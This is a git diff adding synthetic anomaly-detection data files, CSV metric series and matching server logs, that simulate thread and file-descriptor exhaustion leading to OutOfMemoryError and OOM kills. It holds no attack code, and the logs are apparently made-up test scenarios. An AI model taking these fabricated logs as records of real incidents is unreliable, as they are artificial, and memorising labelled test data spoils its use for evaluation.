ThreadPool-1[1150]: ERROR Task rejected from executor: java.lang.OutOfMemoryError: unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_12.csv b/anom_dataset/scenario_6/anom_6_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..02489cf26e6f1bef7c0ec7a6fce853390cd9fbb0 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,13.95237293631406,37.55089404588275,23.550883231601322,0.9987477421155471,1.3363718851548527 +2025-07-02T10:00:05Z,15.488498660933061,37.08056610097972,29.471040609556848,0.9214544392506541,1.1131788508537634 +2025-07-02T10:00:10Z,13.614132497664144,41.30048477036394,30.371717471622155,0.752420804325989,1.3711821842477885 +2025-07-02T10:00:15Z,15.478946607295597,36.8947791232247,22.596184215040356,0.9791134611466115,1.1905059210528266 +2025-07-02T10:00:20Z,12.459121479162855,38.714917886098654,24.445451636480268,1.1307478008117773,1.3660552402363306 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10:00:45 web-server[1123]: GET /api/data HTTP/1.1 200 OK +Jul 02 10:01:32 kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 10:02:35 web-server[1123]: POST /api/submit HTTP/1.1 201 Created +Jul 02 10:03:40 web-server[1123]: GET /api/users/12 HTTP/1.1 200 OK +Jul 02 10:04:40 crond[5432]: (app-runner) CMD (./run-backup.sh) +Jul 02 10:05:30 web-server[1123]: WARN - High number of open file descriptors: 998 +Jul 02 10:05:45 kernel: [12685.111] print_req_error: I/O error, dev fd0, sector 0 +Jul 02 10:06:05 web-server[1123]: ERROR - Failed to accept new connection: java.net.SocketException: Too many open files +Jul 02 10:06:20 web-server[1123]: ERROR - java.io.IOException: Too many open files +Jul 02 10:06:35 web-server[1123]: FATAL - java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:50 kernel: [12750.450] Out of memory: Kill process 1123 (web-server) score 950 or sacrifice child +Jul 02 10:06:52 kernel: [12752.120] Killed process 1123 (web-server), total-vm:1524864kB, anon-rss:896512kB, file-rss:0kB, shmem-rss:0kB +Jul 02 10:07:05 systemd[1]: web-server.service: Main process exited, code=killed, status=9/KILL +Jul 02 10:07:10 systemd[1]: web-server.service: Failed with result 'exit-code'. diff --git a/anom_dataset/scenario_6/anom_6_13.csv b/anom_dataset/scenario_6/anom_6_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..d83120931fe6b3a46c5eaea8ece9034ded10d48c --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,7.712024853741386,36.15237288562254,23.966808141178486,0.9791897564382365,1.4304463997437111 +2025-07-02T10:00:05Z,12.26902782843227,38.59942448061129,22.874561666630882,0.8403024984244245,1.116200622225307 +2025-07-02T10:00:10Z,12.371909075022323,34.85695637362103,23.732258815194314,1.0074833105745444,1.1757097559638396 +2025-07-02T10:00:15Z,15.847725289784316,36.23291478843894,23.818399410295104,1.200665772988292,1.2521696235128457 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systemd[1]: Started Session 0 of user ubuntu. +Jul 02 10:00:35 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:00:45 database-connector[2345]: INFO: DB connection pool status: 5 active, 10 idle. +Jul 02 10:01:00 systemd[1]: Started Session 12 of user ubuntu. +Jul 02 10:01:10 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:01:30 database-connector[2345]: INFO: DB connection pool status: 5 active, 10 idle. +Jul 02 10:01:45 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:02:00 systemd[1]: Started Session 24 of user ubuntu. +Jul 02 10:02:15 database-connector[2345]: INFO: DB connection pool status: 5 active, 10 idle. +Jul 02 10:02:20 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:02:55 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:03:00 database-connector[2345]: INFO: DB connection pool status: 5 active, 10 idle. +Jul 02 10:03:00 systemd[1]: Started Session 36 of user ubuntu. +Jul 02 10:03:30 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:03:45 database-connector[2345]: INFO: DB connection pool status: 5 active, 10 idle. +Jul 02 10:03:45 app-server[1123]: WARN: High thread count detected: 500 active threads. +Jul 02 10:04:00 systemd[1]: Started Session 48 of user ubuntu. +Jul 02 10:04:05 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:04:10 app-server[1123]: WARN: High thread count detected: 550 active threads. +Jul 02 10:04:30 database-connector[2345]: INFO: DB connection pool status: 5 active, 10 idle. +Jul 02 10:04:35 app-server[1123]: WARN: High thread count detected: 600 active threads. +Jul 02 10:04:40 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:05:00 systemd[1]: Started Session 60 of user ubuntu. +Jul 02 10:05:00 app-server[1123]: WARN: High thread count detected: 650 active threads. +Jul 02 10:05:15 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:05:15 database-connector[2345]: INFO: DB connection pool status: 5 active, 10 idle. +Jul 02 10:05:25 app-server[1123]: WARN: High thread count detected: 700 active threads. +Jul 02 10:05:50 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:05:50 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:05:55 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:00 database-connector[2345]: INFO: DB connection pool status: 5 active, 10 idle. +Jul 02 10:06:00 systemd[1]: Started Session 72 of user ubuntu. +Jul 02 10:06:00 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:06:05 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:10 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:06:15 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:20 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:06:25 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:06:25 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:30 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:06:35 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:40 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:06:45 database-connector[2345]: INFO: DB connection pool status: 5 active, 10 idle. +Jul 02 10:06:45 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:50 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:06:55 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:00 app-server[1123]: INFO: User 'Alex' logged in successfully. +Jul 02 10:07:00 systemd[1]: Started Session 84 of user ubuntu. +Jul 02 10:07:00 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:07:05 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:10 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:07:15 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:20 app-server[1123]: ERROR: Failed to accept new connection: socket.error: [Errno 24] Too many open files +Jul 02 10:07:25 app-server[1123]: FATAL: Exception in thread 'main' java.lang.OutOfMemoryError: unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_14.csv b/anom_dataset/scenario_6/anom_6_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..7da7589ee6424b6e5d9a2d3b5ac883b88cdc9700 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,19.67385227386059,36.68222431738924,26.946836939830813,0.8465893955295609,0.9725824318863288 +2025-08-15T14:00:05Z,19.129629899982366,35.649945662021025,25.056908852485968,1.3339106521990316,0.9516309084960579 +2025-08-15T14:00:10Z,21.24193527342117,36.43760631286451,25.918669474996367,0.9607342226418379,1.1161837358913476 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0000000000000000000000000000000000000000..84c7c368e414d80dbc2427d9b79fa0634e69b168 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_14.log @@ -0,0 +1,90 @@ +Aug 15 14:00:00 web-app[12207]: INFO Request processed successfully: GET /api/v1/data +Aug 15 14:00:05 web-app[12207]: DEBUG Connection opened from 10.1.2.20 +Aug 15 14:00:10 systemd[1]: Started Session 2 of user app-user. +Aug 15 14:00:15 web-app[12207]: DEBUG Connection opened from 10.1.2.82 +Aug 15 14:00:20 CRON[12211]: (app-user) CMD (run-cleanup.sh) +Aug 15 14:00:25 web-app[12207]: DEBUG Connection opened from 10.1.2.94 +Aug 15 14:00:30 web-app[12207]: DEBUG Connection opened from 10.1.2.64 +Aug 15 14:00:35 web-app[12207]: INFO Request processed successfully: GET /api/v1/data +Aug 15 14:00:40 web-app[12207]: DEBUG Connection opened from 10.1.2.15 +Aug 15 14:00:45 systemd[1]: Started Session 9 of user app-user. +Aug 15 14:00:50 web-app[12207]: DEBUG Connection opened from 10.1.2.83 +Aug 15 14:00:55 CRON[12218]: (app-user) CMD (run-cleanup.sh) +Aug 15 14:01:00 web-app[12207]: DEBUG Connection opened from 10.1.2.16 +Aug 15 14:01:05 web-app[12207]: DEBUG Connection opened from 10.1.2.90 +Aug 15 14:01:10 web-app[12207]: INFO Request processed successfully: GET /api/v1/data +Aug 15 14:01:15 web-app[12207]: DEBUG Connection opened from 10.1.2.54 +Aug 15 14:01:20 systemd[1]: Started Session 16 of user app-user. +Aug 15 14:01:25 web-app[12207]: DEBUG Connection opened from 10.1.2.89 +Aug 15 14:01:30 CRON[12225]: (app-user) CMD (run-cleanup.sh) +Aug 15 14:01:35 web-app[12207]: DEBUG Connection opened from 10.1.2.13 +Aug 15 14:01:40 web-app[12207]: DEBUG Connection opened from 10.1.2.73 +Aug 15 14:01:45 web-app[12207]: INFO Request processed successfully: GET /api/v1/data +Aug 15 14:01:50 web-app[12207]: DEBUG Connection opened from 10.1.2.25 +Aug 15 14:01:55 systemd[1]: Started Session 23 of user app-user. +Aug 15 14:02:00 web-app[12207]: DEBUG Connection opened from 10.1.2.31 +Aug 15 14:02:05 CRON[12232]: (app-user) CMD (run-cleanup.sh) +Aug 15 14:02:10 web-app[12207]: DEBUG Connection opened from 10.1.2.52 +Aug 15 14:02:15 web-app[12207]: DEBUG Connection opened from 10.1.2.98 +Aug 15 14:02:20 web-app[12207]: INFO Request processed successfully: GET /api/v1/data +Aug 15 14:02:25 web-app[12207]: DEBUG Connection opened from 10.1.2.17 +Aug 15 14:02:30 systemd[1]: Started Session 30 of user app-user. +Aug 15 14:02:35 web-app[12207]: DEBUG Connection opened from 10.1.2.95 +Aug 15 14:02:40 CRON[12239]: (app-user) CMD (run-cleanup.sh) +Aug 15 14:02:45 web-app[12207]: DEBUG Connection opened from 10.1.2.98 +Aug 15 14:02:50 web-app[12207]: DEBUG Connection opened from 10.1.2.44 +Aug 15 14:02:55 web-app[12207]: WARN High number of open file descriptors: 374 +Aug 15 14:03:00 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:03:05 web-app[12207]: INFO Creating new worker thread: worker-37 +Aug 15 14:03:10 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:03:15 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:03:20 web-app[12207]: WARN High number of open file descriptors: 425 +Aug 15 14:03:25 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:03:30 web-app[12207]: INFO Creating new worker thread: worker-42 +Aug 15 14:03:35 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:03:40 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:03:45 web-app[12207]: WARN High number of open file descriptors: 486 +Aug 15 14:03:50 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:03:55 web-app[12207]: INFO Creating new worker thread: worker-47 +Aug 15 14:04:00 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:04:05 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:04:10 web-app[12207]: WARN High number of open file descriptors: 531 +Aug 15 14:04:15 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:04:20 web-app[12207]: INFO Creating new worker thread: worker-52 +Aug 15 14:04:25 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:04:30 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:04:35 web-app[12207]: WARN High number of open file descriptors: 599 +Aug 15 14:04:40 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:04:45 web-app[12207]: INFO Creating new worker thread: worker-57 +Aug 15 14:04:50 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:04:55 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:05:00 web-app[12207]: WARN High number of open file descriptors: 625 +Aug 15 14:05:05 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:05:10 web-app[12207]: INFO Creating new worker thread: worker-62 +Aug 15 14:05:15 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:05:20 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:05:25 web-app[12207]: WARN High number of open file descriptors: 698 +Aug 15 14:05:30 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:05:35 web-app[12207]: INFO Creating new worker thread: worker-67 +Aug 15 14:05:40 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:05:45 web-app[12207]: DEBUG Request received: POST /api/v1/submit +Aug 15 14:05:50 web-app[12207]: ERROR java.net.SocketException: Too many open files +Aug 15 14:05:55 web-app[12207]: FATAL Unable to accept new connection. Server may be unstable. +Aug 15 14:06:00 web-app[12207]: ERROR Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 14:06:05 web-app[12207]: ERROR java.net.SocketException: Too many open files +Aug 15 14:06:10 web-app[12207]: FATAL Unable to accept new connection. Server may be unstable. +Aug 15 14:06:15 web-app[12207]: ERROR Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 14:06:20 web-app[12207]: ERROR java.net.SocketException: Too many open files +Aug 15 14:06:25 web-app[12207]: FATAL Unable to accept new connection. Server may be unstable. +Aug 15 14:06:30 web-app[12207]: ERROR Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 14:06:35 web-app[12207]: ERROR java.net.SocketException: Too many open files +Aug 15 14:06:40 web-app[12207]: FATAL Unable to accept new connection. Server may be unstable. +Aug 15 14:06:45 web-app[12207]: ERROR Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 14:06:50 web-app[12207]: ERROR java.net.SocketException: Too many open files +Aug 15 14:06:55 web-app[12207]: FATAL Unable to accept new connection. Server may be unstable. +Aug 15 14:07:00 web-app[12207]: ERROR Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 14:07:05 web-app[12207]: ERROR java.net.SocketException: Too many open files +Aug 15 14:07:10 web-app[12207]: FATAL Unable to accept new connection. Server may be unstable. +Aug 15 14:07:15 web-app[12207]: ERROR Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread +Aug 15 14:07:20 web-app[12207]: ERROR java.net.SocketException: Too many open files +Aug 15 14:07:25 web-app[12207]: FATAL Unable to accept new connection. Server may be unstable. diff --git a/anom_dataset/scenario_6/anom_6_15.csv b/anom_dataset/scenario_6/anom_6_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..67dee0cd1f8f6ba174682428bd39bdec37f81905 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T10:00:00Z,7.712024853741386,44.033281978828754,19.478831451665855,0.9948374889506963,1.3583795128764728 +2025-08-25T10:00:05Z,12.26902782843227,44.329469155492696,26.45319508486157,0.7033549556920282,1.080604996848849 +2025-08-25T10:00:10Z,12.371909075022323,50.835077351718425,26.31033064378045,0.7535741309592794,1.4149666211490888 +2025-08-25T10:00:15Z,15.847725289784316,40.45783989947101,22.538925171279068,0.8789369566577225,1.8013315459765837 +2025-08-25T10:00:20Z,11.776520045889962,44.13190198890822,25.847152496428503,0.9643367864051187,1.542214623929834 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+2025-08-25T10:07:10Z,39.68390327043748,57.82204405893525,24.351256068297584,0.5187777161212219,0.9656425752816176 +2025-08-25T10:07:15Z,23.25397978918769,53.58064562300155,26.62271810715114,0.6049504769200273,0.6238388512283009 +2025-08-25T10:07:20Z,31.01531687356213,54.710321256003176,23.620105224185565,0.6979676606934044,1.2166846603344679 +2025-08-25T10:07:25Z,29.04192148690509,42.340370107830424,26.712655799846214,0.6670863751588979,1.2565521483217865 diff --git a/anom_dataset/scenario_6/anom_6_15.log b/anom_dataset/scenario_6/anom_6_15.log new file mode 100644 index 0000000000000000000000000000000000000000..a573657ab0965406efaf509d2b1deb516418eef1 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_15.log @@ -0,0 +1,35 @@ +Aug 25 10:00:00 app-server[1123]: INFO GET /api/v1/health status=200 duration=25ms +Aug 25 10:00:00 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded +Aug 25 10:00:35 app-server[1123]: INFO GET /api/v1/health status=200 duration=25ms +Aug 25 10:01:00 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded +Aug 25 10:01:10 app-server[1123]: INFO GET /api/v1/health status=200 duration=25ms +Aug 25 10:01:45 app-server[1123]: INFO GET /api/v1/health status=200 duration=25ms +Aug 25 10:02:00 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' succeeded +Aug 25 10:02:20 app-server[1123]: INFO GET /api/v1/health status=200 duration=25ms +Aug 25 10:02:40 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:03:00 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:03:20 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:03:40 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:04:00 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:04:00 kernel: pid_max reached, cannot create new thread +Aug 25 10:04:15 kernel: pid_max reached, cannot create new thread +Aug 25 10:04:20 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:04:30 kernel: pid_max reached, cannot create new thread +Aug 25 10:04:40 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:04:45 kernel: pid_max reached, cannot create new thread +Aug 25 10:05:00 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:05:00 kernel: pid_max reached, cannot create new thread +Aug 25 10:05:00 app-server[1123]: WARN Connection pool exhausted. Timeout waiting for connection. +Aug 25 10:05:15 kernel: pid_max reached, cannot create new thread +Aug 25 10:05:20 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:05:25 app-server[1123]: WARN Connection pool exhausted. Timeout waiting for connection. +Aug 25 10:05:30 kernel: pid_max reached, cannot create new thread +Aug 25 10:05:40 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:05:45 kernel: pid_max reached, cannot create new thread +Aug 25 10:05:50 app-server[1123]: WARN Connection pool exhausted. Timeout waiting for connection. +Aug 25 10:06:00 app-server[1123]: ERROR Exception on /api/v1/data: java.net.SocketException: Too many open files +Aug 25 10:06:00 kernel: pid_max reached, cannot create new thread +Aug 25 10:06:15 kubelet[2345]: INFO Liveness probe for pod 'app-server-xyz' failed. Restarting container. +Aug 25 10:06:20 systemd[1]: Stopping container app-server... +Aug 25 10:06:30 systemd[1]: Started container app-server. +Aug 25 10:06:40 app-server[12588]: INFO Application starting up... diff --git a/anom_dataset/scenario_6/anom_6_16.csv b/anom_dataset/scenario_6/anom_6_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..f0f2c654d9a2a726e00b49a0fa123f7250b00f22 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,17.31,38.03,20.8,0.56,1.06 +2025-08-24T10:00:05Z,17.43,41.76,22.1,0.87,1.03 +2025-08-24T10:00:10Z,15.06,38.88,28.32,0.99,1.58 +2025-08-24T10:00:15Z,18.7,41.78,25.55,1.19,1.2 +2025-08-24T10:00:20Z,14.42,39.06,21.42,0.68,1.27 +2025-08-24T10:00:25Z,16.67,40.67,20.24,0.93,1.42 +2025-08-24T10:00:30Z,11.53,41.17,21.81,1.06,1.76 +2025-08-24T10:00:35Z,17.24,42.52,18.85,1.2,1.63 +2025-08-24T10:00:40Z,13.88,40.76,27.62,0.57,1.46 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diff --git a/anom_dataset/scenario_6/anom_6_16.log b/anom_dataset/scenario_6/anom_6_16.log new file mode 100644 index 0000000000000000000000000000000000000000..5d8bea8b028d35023741d74a4e4ce66bf052175b --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_16.log @@ -0,0 +1,90 @@ +Aug 24 10:00:00 app-server[5432]: INFO Request processed successfully: GET /api/data +Aug 24 10:00:05 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:00:10 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:00:15 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:00:20 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:00:25 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:00:30 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:00:35 app-server[5432]: INFO Request processed successfully: GET /api/data +Aug 24 10:00:40 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:00:45 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:00:50 CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:00:55 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:01:00 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:01:05 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:01:10 app-server[5432]: INFO Request processed successfully: GET /api/data +Aug 24 10:01:15 sshd[10234]: Accepted publickey for user from 10.0.2.15 port 45322 +Aug 24 10:01:20 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:01:25 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:01:30 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:01:35 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:01:40 CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:01:45 app-server[5432]: INFO Request processed successfully: GET /api/data +Aug 24 10:01:50 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:01:55 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:00 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:05 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:10 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:15 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:20 app-server[5432]: INFO Request processed successfully: GET /api/data +Aug 24 10:02:25 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:30 CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:02:35 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:40 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:45 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:50 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.10 +Aug 24 10:02:55 app-server[5432]: WARN High thread count detected: 489 active threads +Aug 24 10:03:00 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:03:05 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:03:10 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:03:15 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:03:20 app-server[5432]: WARN High thread count detected: 489 active threads +Aug 24 10:03:25 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:03:30 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:03:35 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:03:40 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:03:45 app-server[5432]: WARN High thread count detected: 489 active threads +Aug 24 10:03:50 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:03:55 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:00 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:05 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:10 app-server[5432]: WARN High thread count detected: 489 active threads +Aug 24 10:04:15 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:20 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:25 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:30 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:35 app-server[5432]: WARN High thread count detected: 489 active threads +Aug 24 10:04:40 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:45 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:50 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:04:55 app-server[5432]: DEBUG Connection accepted from client IP 192.168.1.15 +Aug 24 10:05:00 app-server[5432]: ERROR Exception caught: java.lang.OutOfMemoryError: unable to create new native thread +Aug 24 10:05:05 app-server[5432]: ERROR Failed to accept new connection: Too many open files +Aug 24 10:05:10 app-server[5432]: CRITICAL Thread creation failed repeatedly. Service stability degraded. +Aug 24 10:05:15 app-server[5432]: WARN Connection pool exhausted. Waiting for available connection. +Aug 24 10:05:20 app-server[5432]: ERROR Exception caught: java.lang.OutOfMemoryError: unable to create new native thread +Aug 24 10:05:25 app-server[5432]: ERROR Failed to accept new connection: Too many open files +Aug 24 10:05:30 app-server[5432]: CRITICAL Thread creation failed repeatedly. Service stability degraded. +Aug 24 10:05:35 app-server[5432]: WARN Connection pool exhausted. Waiting for available connection. +Aug 24 10:05:40 app-server[5432]: ERROR Exception caught: java.lang.OutOfMemoryError: unable to create new native thread +Aug 24 10:05:45 app-server[5432]: ERROR Failed to accept new connection: Too many open files +Aug 24 10:05:50 app-server[5432]: CRITICAL Thread creation failed repeatedly. Service stability degraded. +Aug 24 10:05:55 app-server[5432]: WARN Connection pool exhausted. Waiting for available connection. +Aug 24 10:06:00 app-server[5432]: ERROR Exception caught: java.lang.OutOfMemoryError: unable to create new native thread +Aug 24 10:06:05 app-server[5432]: ERROR Failed to accept new connection: Too many open files +Aug 24 10:06:10 app-server[5432]: CRITICAL Thread creation failed repeatedly. Service stability degraded. +Aug 24 10:06:15 app-server[5432]: WARN Connection pool exhausted. Waiting for available connection. +Aug 24 10:06:20 kernel: [41702.061676] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=/,mems_allowed=0,global_oom,task_memcg=/system.slice/app-server.service,task=app-server,pid=5432,uid=1000 +Aug 24 10:06:25 kernel: [41707.074021] Out of memory: Killed process 5432 (app-server) total-vm:185432kB, anon-rss:89743kB, file-rss:0kB, shmem-rss:0kB, oom_score_adj:0 +Aug 24 10:06:30 systemd[1]: app-server.service: Main process exited, code=killed, status=9/KILL +Aug 24 10:06:35 systemd[1]: app-server.service: Failed with result 'oom-kill'. +Aug 24 10:06:40 app-server[5432]: INFO Server process starting... +Aug 24 10:06:45 systemd[1]: app-server.service: Restarting job. +Aug 24 10:06:50 app-server[5432]: INFO Server process starting... +Aug 24 10:06:55 app-server[5432]: INFO Server process starting... +Aug 24 10:07:00 systemd[1]: app-server.service: Restarting job. +Aug 24 10:07:05 app-server[5432]: INFO Server process 